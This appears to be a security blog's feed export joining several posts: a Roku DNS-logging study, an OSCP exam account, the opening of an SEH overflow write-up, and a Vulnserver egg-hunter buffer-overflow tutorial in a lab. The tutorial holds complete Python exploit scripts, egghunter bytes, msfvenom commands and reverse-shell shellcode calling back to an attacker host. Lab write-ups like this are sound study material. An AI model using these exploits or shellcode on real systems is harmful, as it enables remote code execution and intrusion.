So what does this mean? Well, it means that on average, a Roku is logging information about you and your family about 380 (2-4 sDNS requests per 30-40 sec) times per hour and 8,800 times per day, give or take a few hundred.

Okay Okay but, what are they logging? Well, I started to attack this problem and the first logical step is to look at the Roku’s privacy policy. So, let’s take a look.


Update 1: Roku Logging Allowed 

Since this project came from my PiHole logs, I thought I would get some internet constructive criticism from the /r/pihole subreddit. You can view the thread here. One of the redditors made a really good point that basically stated that the Roku’s are effectively freaking out because their DNS requests are getting blocked. As such, the frequency is subject to the blocking and not the true nature of an active Roku whos DNS requests are not getting blocked. 

This is a really good point as this very well might be the case. So, for the last 4 days, I have allowed all Roku logging traffic on my LAN. The PiHole logs still capture the DNS requests and therefore, the logs still maintain a valid record of unblocked requests. 

Before we look at the data, I want to be as transparent as possible. I have made some adjustments on my timing function. Whereas I was originally looking at only unique timestamps per IP and then obtaining the time differential of the datetime objects via pairs, I am now simply taking the number of records (DNS Requests) and dividing them by the total number of seconds. The total number of seconds is determined by taking the last record in the DELTA_DATES array (i.e. DELTA_DATES[len(DELTA_DATES)-1]), which is a DateTime object, and subtracting it by the most recent date (i.e., DELTA_DATES[0]). I felt that not only is this much simpler but, it’s more representative as I am no longer just measuring unique records. I have edited the initial results to reflect the new changes. 

The Data

For the last 4 days, here is the information:

  • Roku Overall Traffic Made up 47% of all traffic on my LAN.
  • Roku Direct Logging Traffic made up 9% of all traffic on my LAN
  • 192.168.1.58:
    • Total Number of Logging Records: 17,694
    • Average Beaconing Time Interval: 18.19s
  •  192.168.1.99:
    • Total Number of Logging Records: 3,541
    • Average Beaconing Time Interval: 90.72s
  • 192.168.1.209:
    • Total Number of Logging Records: 6,439
    • Average Beaconing Time Interval: 49.87s
Weekday Analysis by Device

This is very interesting to me. The Roku that gets the most use by far is the living room (192.168.1.58) because it’s connected to our large 4K TV and is at the center of everything in our home. This guy is in use pretty much all day when we are at home (i.e., Music, Netflix, Sling, etc.). So it would seem that the more the system is being used, the more it is going to beacon out. It’s also worth noting that the other two Roku’s are not used as much. Especially the basement system as that’s really only used during parties. 

If we look specifically at the Living Room Roku and breakdown all traffic over the 4 days by hour, we can easily see that right away in the mornings (breakfast, news) the logging spikes and gradually goes up and down over midday and night suggesting that Roku logs a ton more ( every 18.19 seconds) if that system is in use. 

Living Room Time Analysis

The data seems to support Reddit’s point that Roku’s will phone home more if they’re being blocked, however if you are using those Roku’s frequently, it’s a moot point as it seems they log just as much if not more.

Let’s put my assertion to the test. The Living Room analysis above supports my assumption so, if we look at the Master Bedroom, where the Roku gets used before going to bed, we should see a spike around that time. And we do.

Master Bedroom Time Analysis

I think the big takeaways are:

  • The system log activity is directly correlated to use. This is probably objective for everyone.
  • Mild/Medium use of a Roku system generates just as much traffic as blocking DNS requests coming from Roku. We see a minor change in overall traffic from the Living Room host when we allowed all logging (0.5% difference).
  • For systems not is regular use, the DNS logging traffic decreases by 50-70 seconds per beacon if traffic is allowed supporting Reddits point that blocking traffic is, therefore, causing more traffic. Again, if you use a system frequently, it will generate just as much traffic if you were to block the DNS requests. 

What’s Roku Logging?

I’ll list a few of the things but first, here is the Roku Privacy Policy.

  • Name
  • Email Address
  • Postal Address
  • Phone Number
  • Birth Date
  • Demographic
  • Social Media Accounts
    • OAuth login information
  • Shipping Information
  • Purchase information
    • Web Cookies
    • Roku App Purchases
    • Gift purchases
  • Credit Card Information
  • Personal Information on friends/connections:
    • email
    • address
    • gifts
  • IP address
  • Operating System type
  • Operating System Version
  • WiFi network name
  • WiFi networking connection metrics
  • Web Cookie Data

The list goes on and on and on. But reading a privacy policy just isn’t sexy. So, I’ve pulled a few PCAP’s from my router  which, didn’t amount to much other than mapping the AWS buckets.

My next attempt to pull data from the logging PCAP’s was to DNS and ARP cache poison one of the Roku’s while running an HTTPS proxy and a self-signed certificate. This just ended up in a CA authenticity failure which, was to be expected. Maybe SSLStrip could work? Not sure yet but, this might not be the right path.


Future Research

Here is what I am currently working on in attempts to get more information all together.

Roku’s used to have a TCPDump utility when you enabled developer mode. All of my devices have been connected and have auto-update on. There’s also no way to revert the box to an older OS. However, I think I have a good lead on a system that has not been connected for a few years and might be interesting.

Roku’s developer API and Brightscript:

Roku uses their own programming language called brightscript. The API is pretty well documented and it’s very simple to enable developer mode via secret menus and start pulling XML information from the system. The issue is there is no direct contact to the underlying OS (Which is Linux) with the exception of a telnet shell with access to the free command. And trust me, I’ve tried all sorts of command injection with that!

Telnet Free Command

Within the Roku Developer documentation though it does talk about the way brightscript applications are sand-boxed and have limited access to system functions. The brightscript might be a dead end but, it’s worth a shot so I will build a few basic apps and see what information I can get from the system or the effetive application hypervisor.

Another interesting part of the Roku External API is the capability to send remote commands to the system via HTTP GET requests. By remote commands I mean the literal Roku Remote (Home, Netflix, Back, Up, etc.). This is interesting because it means that it may be possible to enable developer mode and manipulate settings without physical access to the system. So, if there was a possible exploit vector via a Brightscript application, that path to exploitation could hypothetically be automated.

Roku & PiHole – A Deep Dive
Joshua

]]>
https://sevrosecurity.com/2018/12/07/roku-pihole-a-deep-dive/feed/ 6
Vulnserver KSTET Egg Hunter with Python3 https://sevrosecurity.com/2018/11/21/egg-hunter-buffer-overflow/ https://sevrosecurity.com/2018/11/21/egg-hunter-buffer-overflow/#comments Thu, 22 Nov 2018 04:37:47 +0000 https://sevrosecurity.com/?p=1241 Sevro Security
Vulnserver KSTET Egg Hunter with Python3

During my OSCP study, I went down the Buffer Overflow rabbit hole and found myself going a bit further than needed. I found out I really freaking like binary exploitation! Today, I am going to talk about Egg Hunters. Egg Hunters are used when we...

Vulnserver KSTET Egg Hunter with Python3
Joshua

]]>
Sevro Security
Vulnserver KSTET Egg Hunter with Python3

During my OSCP study, I went down the Buffer Overflow rabbit hole and found myself going a bit further than needed. I found out I really freaking like binary exploitation! Today, I am going to talk about Egg Hunters. Egg Hunters are used when we don’t have enough room after the EIP overwrite to execute anything worth our time (i.e., a shell, system command, etc.). An Egg Hunter is a small set of bytecode that is effectively a loop looking for a pre-defined string (that we define) in memory and when it finds that string, it will execute whatever is after. The code after our pre-defined string being our exploitation bytecode.

To put this into context, let’s say we have two FTP parameters that store data on the stack (USER, PASS). Let’s say that the PASS parameter is susceptible to a BOF attack and we can easily gain control of EIP. However, we only have maybe 20-30 bytes after the EIP overwrite to store any bytecode and that’s just not enough space to do anything useful. In comes the USER parameter. It’s not susceptible to a Buffer Overflow necessarily however, it might give us enough buffer space to store our shellcode. In this case, we would have a two-stage execution where we conduct the following:

  1. Connect to the FTP server.
  2. Send our Reverse Shell Payload in the USER parameter.
  3. Send our Egghunter plus the EIP Overwrite to JMP ESP in the PASS Parameter.

Okay, let’s dig in.

[hr]

Setup:

Here is the setup that is being used during the entire write-up:

  • [Attacker] Kali 2018.4 x86_64
  • [Victim] Windows XP SP3 Build 2600
  • [Vulnerable Binary] VulnServer
  • [Language] Python 3.6.6
  • [Debugger] Immunity

Some of you might be asking why Python 3? That’s fair since the python 3 socket library is different than the 2.7 library and that’s really why I am using it, to learn. The biggest difference you will note is that when you send your data to the server, it has to be in a byte object and not a string object whereas 2.7 doesn’t give a shit.

[hr]

Fuzzing:

Our first goal is to identify which parameters are vulnerable but since VulnServer has a few, we’re going to start with the KSTET Parameter. In order to get a better idea on how many parameters there are, below is the available listing.

VulnServer Parameters

We send 1,000 A’s (\x41) with the KSTET parameter and we see we overflow the buffer.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*1000

s.send(b"KSTET %s \r\n" % buf)

s.close()

[hr]

Controlling EIP:

Just like we do with any BOF, let’s get the offset of EIP so we can start the process of controlling EIP.

  • pattern_create.rb -l 1000

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
pattern = (b'''Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B''')

buf = b""
buf += pattern

s.send(b"KSTET %s \r\n" % buf)

s.close()

We then verify the Immunity EIP value.

EIP Offset

And use the pattern_offset to file the true offset of EIP:

  • pattern_offset.rb -q 63413363
    • Offset = 70

Now, let’s send a new payload to do two different things. The first goal is to verify we do have control of EIP by writing all B’s into EIP and the next goal is to check how much space we have after the EIP overwrite to place our shellcode. We do this by sending 600 C’s. The new code looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*EIP_OFFSET
buf += b"B"*4
buf += b"C"*600

s.send(b"KSTET %s \r\n" % buf)

s.close()

Immunity shows that yes, we have control of EIP as there are now 4 B’s (\x42) residing in the EIP register, however, we only have 28 Bytes of space after the EIP overwrite. As stated in the beginning of this tutorial, that’s just not enough, we need more space.

EIP Verify

Overflow Space

[hr]

Determine Bad Characters:

Before we start digging into other parameters we can place our shellcode into, let’s determine the bad characters. Here is our new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Bad Characters:
bad_chars = [0x00,0x0a]
chars = b""
for i in range(0x00,0xFF+1):
    if i not in bad_chars:
        chars += bytes([i])
with open("bad_chars.bin", "wb") as f:
    f.write(chars)

# Send data to the KSTET Parameter:
buf = b""
buf += chars
s.send(b"KSTET %s \r\n" % buf)

s.close()

In looking at the bad characters, it’s apparent that we don’t have enough space to review the whole array of bytes. As such, I conducted the overflow in three separate operations:

  • Operation 1: 0x00 – 0x60
  • Operation 2: 0x60 – 0xC0
  • Operation 3: 0xC0 – 0xFF

Bad Characters were determined to be: 0x00, 0x0A, 0x0D

[hr]

Finding JMP ESP:

Since I am using VISTA as the victim, there will be little to no protection (DEP,ASLR). That means we can just ask mona to look for the JMP ESP opcode (\xFF\xE4) and choose any of the results.

JMP ESP

I’m just going to use the first result (0x7C874F13). To make sure we have full control and are able to execute the JMP ESP instruction, let’s restart the vulnserver in Immunity and set a break point at the address. Here is the new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A" * EIP_OFFSET
buf += JMP_ESP
s.send(b"KSTET %s \r\n" % buf)

s.close()

And we have a successful JMP ESP.

Breakpoint Hit

[hr]

Building the Egghunter:

Okay, we know that we only have about 28 Bytes after the EIP overflow to work with. That wont fit our egghunter byte code. In that case, we will inject our egghunter before the EIP overwrite and then add the instruction JMP SHORT -48 after the EIP overwrite to jump back to our egghunter. What we need to figure out now is which parameter can successfully take an input of about 350-450 bytes of data and not throw an exception or overflow the buffer. Let’s build a fuzzing script to do that for us.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"GTER",b"HTER",b"LTER",b"KSTAN"]

for i in range(0,len(parameters)):
    print("[+] Sending %s"% str(parameters[i]))
    buf = b""
    buf += parameters[i]
    buf += b" "
    buf += b"A" * 500
    s.send(b"%s\r\n" % buf)
    time.sleep(1)

Right away, we find that the GTER parameter causes an overflow. Let’s remove that and test again.  After the second test, we see that the rest of the parameters ran successfully without causing an overflow or an exception. This means that maybe, we can store our shellcode in one of these parameters and have the egghunter find it in memory. Now that we know the parameters, let’s add this to our script and build a two payload program.

To generate the egghunter code, we will use mona.

!mona egg -cpb "\x00\x0a\x0d" -t loki

Generate Egghunter

The image above shows our shellcode. The generated shellcode will also be listed in an egghunter.txt document located at C:/Program Files/Immunity Inc/Immunity Debugger.

Now let’s generate some shellcode. For testing, I am just going to send the command calc.exe. The syntax to generate this shellcode is:

msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f c

Our new script looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xce\xba\x5b\x24\x91\xbf\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xef\xfc\x31\x57\x14\x03\x57\x4f\xc6\x64\x43\x87\x84"
"\x87\xbc\x57\xe9\x0e\x59\x66\x29\x74\x29\xd8\x99\xfe\x7f\xd4"
"\x52\x52\x94\x6f\x16\x7b\x9b\xd8\x9d\x5d\x92\xd9\x8e\x9e\xb5"
"\x59\xcd\xf2\x15\x60\x1e\x07\x57\xa5\x43\xea\x05\x7e\x0f\x59"
"\xba\x0b\x45\x62\x31\x47\x4b\xe2\xa6\x1f\x6a\xc3\x78\x14\x35"
"\xc3\x7b\xf9\x4d\x4a\x64\x1e\x6b\x04\x1f\xd4\x07\x97\xc9\x25"
"\xe7\x34\x34\x8a\x1a\x44\x70\x2c\xc5\x33\x88\x4f\x78\x44\x4f"
"\x32\xa6\xc1\x54\x94\x2d\x71\xb1\x25\xe1\xe4\x32\x29\x4e\x62"
"\x1c\x2d\x51\xa7\x16\x49\xda\x46\xf9\xd8\x98\x6c\xdd\x81\x7b"
"\x0c\x44\x6f\x2d\x31\x96\xd0\x92\x97\xdc\xfc\xc7\xa5\xbe\x6a"
"\x19\x3b\xc5\xd8\x19\x43\xc6\x4c\x72\x72\x4d\x03\x05\x8b\x84"
"\x60\xf9\xc1\x85\xc0\x92\x8f\x5f\x51\xff\x2f\x8a\x95\x06\xac"
"\x3f\x65\xfd\xac\x35\x60\xb9\x6a\xa5\x18\xd2\x1e\xc9\x8f\xd3"
"\x0a\xaa\x4e\x40\xd6\x03\xf5\xe0\x7d\x5c")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

The script is broken down into two different stages. Each stage generates a new socket call to the vulnerable server, this is important. Also, take note to the Stage 1 s.send(). You can see I have added the b"lokiloki" to it. This is the string that the egghunter is going to look for in memory. When you generate the egg hunter with mona and read the .txt file it generates, it will explicitly tell you what text to put there. Let’s break down what is happening at each stage.

Stage 1:

In stage one, we connect to the vulnerable server and start a for loop. The for loop loops through the parameters array using each value to send the shellcode payload. We don’t know which parameter will truly hold our shellcode so hell, why not try them all! And that’s effectively what we are doing here. It’s also important to note that a 1-second time delay is necessary at the end of each loop iteration. Without that one second time delay, we outpace the server and never give it a chance to take action on the command we just sent.

Stage 2:

Stage two is where the real magic happens. We create a new socket and connect to the vulnerable server once again. This time, we send the egghunter between two sets of NOP’s, overwrite the EIP register with our JMP ESP instruction memory address, and then we have a custom instruction we wrote (\xEB\xCE) that’s loaded into the stack per our overflow and executed after the JMP ESP instruction. Let’s take a look at this instruction and why we have it in our payload.

Our egghunter shellcode is still a bit too big to be loaded after the JMP ESP. However, we know we have a total of 70 bytes before the EIP overwrite and therefore we can use that space to store our egghunter and then jump back to it with a custom instruction. In this case, I want to jump back 48 Bytes to the middle of our first NOP sled. We can use the nasm_shell.rb to give us the correct opcode to use as seen in the image below.

NASM

Let’s put a breakpoint in Immunity at our JMP ESP and step through what is going on here.

JMP SHORT -48

When we hit our breakpoint we jumped forward 1 instruction (F7) to get to our JMP SHORT instruction highlighted in blue in the leftmost image. When we move forward again (1 instruction) we see we jump to a lower memory address putting us 4 NOP Bytes before our egghunter. Perfect!

The egghunter is going to start a loop looking for the lokiloki string in memory in an attempt to find our shellcode and execute it. If we let the rest of the code run it’s course, we get calc.exe to pop and we know we have full code execution!

calc.exe

[hr]

Reverse Shell:

Now that we have a fully working exploit, let’s resplace the calc.exe shellcode with a reverse shell and see what happens.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.136 LPORT=443 -b'\x00\x0a\x0d' -f c

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xc7\xd9\x74\x24\xf4\xb8\xca\x84\x12\x1c\x5a\x33\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\x88\x97\xf0\xe9\xf0\x70\x76"
"\x11\x08\x81\x17\x9b\xed\xb0\x17\xff\x66\xe2\xa7\x8b\x2a\x0f"
"\x43\xd9\xde\x84\x21\xf6\xd1\x2d\x8f\x20\xdc\xae\xbc\x11\x7f"
"\x2d\xbf\x45\x5f\x0c\x70\x98\x9e\x49\x6d\x51\xf2\x02\xf9\xc4"
"\xe2\x27\xb7\xd4\x89\x74\x59\x5d\x6e\xcc\x58\x4c\x21\x46\x03"
"\x4e\xc0\x8b\x3f\xc7\xda\xc8\x7a\x91\x51\x3a\xf0\x20\xb3\x72"
"\xf9\x8f\xfa\xba\x08\xd1\x3b\x7c\xf3\xa4\x35\x7e\x8e\xbe\x82"
"\xfc\x54\x4a\x10\xa6\x1f\xec\xfc\x56\xf3\x6b\x77\x54\xb8\xf8"
"\xdf\x79\x3f\x2c\x54\x85\xb4\xd3\xba\x0f\x8e\xf7\x1e\x4b\x54"
"\x99\x07\x31\x3b\xa6\x57\x9a\xe4\x02\x1c\x37\xf0\x3e\x7f\x50"
"\x35\x73\x7f\xa0\x51\x04\x0c\x92\xfe\xbe\x9a\x9e\x77\x19\x5d"
"\xe0\xad\xdd\xf1\x1f\x4e\x1e\xd8\xdb\x1a\x4e\x72\xcd\x22\x05"
"\x82\xf2\xf6\x8a\xd2\x5c\xa9\x6a\x82\x1c\x19\x03\xc8\x92\x46"
"\x33\xf3\x78\xef\xde\x0e\xeb\xd0\xb7\x28\x63\xb8\xc5\x48\x72"
"\x82\x43\xae\x1e\xe4\x05\x79\xb7\x9d\x0f\xf1\x26\x61\x9a\x7c"
"\x68\xe9\x29\x81\x27\x1a\x47\x91\xd0\xea\x12\xcb\x77\xf4\x88"
"\x63\x1b\x67\x57\x73\x52\x94\xc0\x24\x33\x6a\x19\xa0\xa9\xd5"
"\xb3\xd6\x33\x83\xfc\x52\xe8\x70\x02\x5b\x7d\xcc\x20\x4b\xbb"
"\xcd\x6c\x3f\x13\x98\x3a\xe9\xd5\x72\x8d\x43\x8c\x29\x47\x03"
"\x49\x02\x58\x55\x56\x4f\x2e\xb9\xe7\x26\x77\xc6\xc8\xae\x7f"
"\xbf\x34\x4f\x7f\x6a\xfd\x7f\xca\x36\x54\xe8\x93\xa3\xe4\x75"
"\x24\x1e\x2a\x80\xa7\xaa\xd3\x77\xb7\xdf\xd6\x3c\x7f\x0c\xab"
"\x2d\xea\x32\x18\x4d\x3f")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

And, we’re Admin!

Admin Shell

[hr]

Thoughts on Python3:

I decided to use Python3 for this tutorial because I use it for just about everything. That is, with the exception of exploit development. Python 2.7 is my goto for Buffer Overflow development and honestly, I think I am going to keep that the same. The subtle buy annoying nuances of making sure everything was typecast to a bytes object sucked. Many times the objects would be sent oddly and not trigger the right response I was looking for. Python 2.7 allows strings in the s.send() method which, makes things much easier to deal with.

Anyhow, Python3 is still amazing and I will use it as my daily driver, with the exception of BOF exploit development!

Happy Thanksgiving!

Vulnserver KSTET Egg Hunter with Python3
Joshua

]]>
https://sevrosecurity.com/2018/11/21/egg-hunter-buffer-overflow/feed/ 1
OSCP: Passing https://sevrosecurity.com/2018/10/27/oscp-passing/ https://sevrosecurity.com/2018/10/27/oscp-passing/#comments Sun, 28 Oct 2018 01:28:31 +0000 https://sevrosecurity.com/?p=1226 Sevro Security
OSCP: Passing

I’m humbled to finally be able to say that I am an OSCP! I was able to get 80/100 points on my second exam attempt last Friday and received the pass email on the following Monday. I wanted to take some time and post about my...

OSCP: Passing
Joshua

]]>
Sevro Security
OSCP: Passing

I’m humbled to finally be able to say that I am an OSCP! I was able to get 80/100 points on my second exam attempt last Friday and received the pass email on the following Monday.

I wanted to take some time and post about my experience and the way I personally managed the exam itself. There are already a significant amount of blog posts from extremely talented individuals talking about their methods to their success and although I will touch on that, I really wanted to focus on exam management. Essentially, how I set up my pre-exam workspace in order to make my flow and reporting easier. This was critical to passing the second time around. Having a single one-stop place to view the systems, their enumeration, and their exploits were incredibly helpful in pivoting and exam reporting.

[hr]

OSCP PWK Course and Exam Review:

Incredible. Purely incredible! Over the last year and a half, I have been teaching myself this skillset but, there’s a point you reach where a more formal approach to building this skillset is needed. Well, at least I needed that. OSCP gave me that and then some. Long story short, if you are looking for something extremely challenging that is practical, no bullshit, with a straight up prove yourself then this is the path you want to go down. Let’s talk about the Exam process a bit more during my second attempt:

[hr_invisible]

Before the Exam:

My first Exam attempt was a 10:00 and I burned myself too fast. My second attempt I started my exam at 16:00. This was way better than an early morning start, for me at least. But, a few hours before my second exam I set up everything ahead of time and I suggest everyone do the same.

  • Start your Kali box and verify network connectivity and disk space on the VM.
  • Create a full snapshot of the VM a few hours before the exam.
  • Create the directory you will be working from for the whole exam:
    • /opt/OSCP/EXAM_2 –> this was mine
  • Start necessary services you may need and verify logins/auth works:
    • FTP, TFTP, SSH, etc.
  • Open Firefox, Burpsuite, Terminal w/ TMUX, and Sparta.
  • Open up CherryTree and generate your Box Flow, I did it on a per-node basis like so:
    • (25) <IP_ADDR>
    • (25) <IP_ADDR>
    • (20) <IP_ADDR>
    • (20) <IP_ADDR>
    • (10) <IP_ADDR>
  • In Terminal, have a TMUX window for NMAP Scans and generate your NMAP syntax in different frames on the same window.

This is how I organized the whole exam from start to finish. Anytime I compromised a host, I changed the color of the host from black to green in Cherrytree, saved my screenshots for everything, and made sure I have the proofs.txt/local.txt and continued on.

[hr_invisible]

The Exam:

When 16:00 rolled around, I had my headphones on and started working directly on a 25 point box and within 30 min, I had compromised one (1) 25 pointer. A few hours later I had knocked out the 10 pointer and a 20 pointer for a total of 55 points.  I had three (3) boxes compromised and decided to take 15 min and get some food. When I came back I started working on the second 25 point host and by 23:00 local, I had it buttoned up for a total of 80 points. I backed up all my progress, made sure I had ample proof and screenshots and went to bed. I got up around 08:00 and told myself I would work on the last host (20 points) until 12:00 and if I didn’t get it, I would start on my report. I did this because I had to fly out early on Sunday morning for some work stuff and would not have time to compile the report on Sunday. Well, I could not figure out the last box so I started on the report and worked on it from 12:00 on Saturday afternoon to 01:00 on Sunday morning. Monday afternoon, I got word from Offensive Security that I had passed and holy shit I am still PUMPED about it!

Final Thoughts:

OSCP was an amazing experience that the folks at Offensive Security put a shit ton of effort into (maybe passion is the more accurate term). There’s nothing else like it out there! Without a doubt, I could not recommend the course and certification path more. If you’re still reading this and have not jumped into the PWK course let me just say this, there will never be a “good” time to start and you are not going to be 100% ready. We all work, a lot of us have kids and families, but this is worth the work!

[hr]

OSCE, here I come.

OSCP: Passing
Joshua

]]>
https://sevrosecurity.com/2018/10/27/oscp-passing/feed/ 2
EasyFileSharing FTP SEH Buffer Overflow https://sevrosecurity.com/2018/08/28/easyfilesharing-ftp-seh-buffer-overflow/ https://sevrosecurity.com/2018/08/28/easyfilesharing-ftp-seh-buffer-overflow/#respond Wed, 29 Aug 2018 01:37:34 +0000 https://sevrosecurity.com/?p=1099 Sevro Security
EasyFileSharing FTP SEH Buffer Overflow

This is another FTP Remote Buffer Overflow that is not as simple as the FreeFTP BOF example from the last post. The major difference is that we will use the Structured Exception Handler (SEH) to direct program flow since we cannot overflow the EIP register...

EasyFileSharing FTP SEH Buffer Overflow
Joshua

]]>
Sevro Security
EasyFileSharing FTP SEH Buffer Overflow

This is another FTP Remote Buffer Overflow that is not as simple as the FreeFTP BOF example from the last post. The major difference is that we will use the Structured Exception Handler (SEH) to direct program flow since we cannot overflow the EIP register and write shellcode thereafter. Before we dig in, here are the binaries and my setup:

Very Detailed Writeup on SEH Buffer Overflows

Exploitable Binary: https://www.exploit-db.com/apps/0efddb6d04f4125d7c1f104c6b1c60a0-efsfs.exe
ExploitDB POC: https://www.exploit-db.com/exploits/33538/

Victim Machine:

Attacker Machine:

  • Kali 2018.1 (PWK Image) 32 bit

[hr]

Exceptions:

Let’s take a second and talk about exceptions and exception handling. Most of us have written some code in a professional or personal capacity and as such, have encountered a number of methods to handle software exceptions. Exceptions being unforeseen circumstance or circumstances in which the code isn’t designed to handle properly. Windows has Structured Exception Handling chains which, long story short, attempts to find the most appropriate response to an exception in order to shut down or kill the process cleanly by going through the SEH chain to find a suitable handler. The Writeup I provided above does a phenomenal job at describing SEH and how to exploit it in a general sense.

[hr]

Fuzzing:

